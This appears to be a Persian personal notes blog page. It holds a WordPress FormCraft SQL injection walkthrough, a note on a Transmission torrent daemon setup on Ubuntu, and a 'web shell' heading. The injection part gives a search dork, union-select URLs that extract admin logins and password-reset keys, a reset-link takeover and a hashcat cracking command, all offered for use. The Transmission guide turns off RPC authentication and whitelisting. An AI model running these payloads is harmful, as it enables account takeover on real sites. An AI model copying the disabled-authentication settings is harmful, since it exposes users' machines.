My Documents

نوشتارهای مندرج در این وبلاگ مستند سازی شخصی بوده و عواقب استفاده نابجا به عهده بازدیدکنندگان محترم می باشد.

My Documents

نوشتارهای مندرج در این وبلاگ مستند سازی شخصی بوده و عواقب استفاده نابجا به عهده بازدیدکنندگان محترم می باشد.

web shell




=================
لینک به فایل تکست
=================


Wordpress SQL Injection

dork=inurl:/wp-content/plugins/formcraft




========================================

http://victim.com/wp-content/plugins/formcraft/form.php?id=1 union select 1,2,3,4,5,6,7,8,9,10,11


http://victim.com/wp-content/plugins/formcraft/form.php?id=1 union select 1,2,3,user(),5,6,7,8,9,10,11


http://victim.com/wp-content/plugins/formcraft/form.php?id=1 union select 1,2,3,group_concat(user_login),5,6,7,8,9,10,11 from wp_users where id=1


========================================


http://victim.com/wp-login.php?action=lostpassword


must use $user_login


========================================


http://victim.com/wp-content/plugins/formcraft/form.php?id=1 union select 1,2,3,group_concat(user_activation_key),5,6,7,8,9,10,11 from wp_users where id=1


========================================

http://victim.com/wp-login.php?action=rp&key=$user_activation_key&login=$user_login


must use $user_activation_key and $user_login or just get the password and use hashcat and crack it




C:\hashcat>hashcat-cli64.exe -a 3 --pw-min=20 --pw-max=20 -m 400 -n 2 -c 64 hash2crack.txt -1 ?l?u?d ?l?l?l?l?l?l?l?l?l?l?l?l?l?l?l?l?l?l?l?l



Transmission


sudo apt-get install python-software-properties



sudo add-apt-repository ppa:transmissionbt/ppa


sudo apt-get update



sudo apt-get install transmission-cli transmission-common transmission-daemon



mkdir ~/Downloads
mkdir ~/Downloads/Completed
mkdir ~/Downloads/Incomplete
mkdir ~/Downloads/Torrents



sudo usermod -a -G debian-transmission username
sudo chgrp -R debian-transmission /home/username/Downloads
sudo chmod -R 775 /home/username/Downloads

Replace the bold “username” sections with the username of your Ubuntu user that will be accessing the files and folders





sudo /etc/init.d/transmission-daemon stop

Now we want to edit our configuration file

sudo nano /etc/transmission-daemon/settings.json

That’s going to bring up the big configuration file. I’m only going to give you the settings I tweaked, however you can have a look throughout the entire configuration and tweak whatever you’d like

“download-dir”: “/home/username/Downloads/Complete”,
“incomplete-dir”: “/home/username/Downloads/Incomplete”,
“incomplete-dir-enabled”: true,
“rpc-authentication-required”: false,
“rpc-whitelist-enabled”: false,

Once you’ve tweaked those settings, add this to the very end of the configuration file (before the ending “}” bracket, but also keep in mind that you will need to change the “utp-enabled” line to have a comma “,” at the end of it

“watch-dir”: “/home/username/Downloads/Torrents”,
“watch-dir-enabled”: true

Once you have finished editing your configurations, start the daemon back up

sudo /etc/init.d/transmission-daemon start

That should do it! Now all you need to do is save that file by issuing a CTRL+X to Nano and then saving when it prompts you. After you’ve saved the file, reload (DO NOT restart) your Transmission server

sudo /etc/init.d/transmission-daemon reload




Default username and password is : transmission
if you need it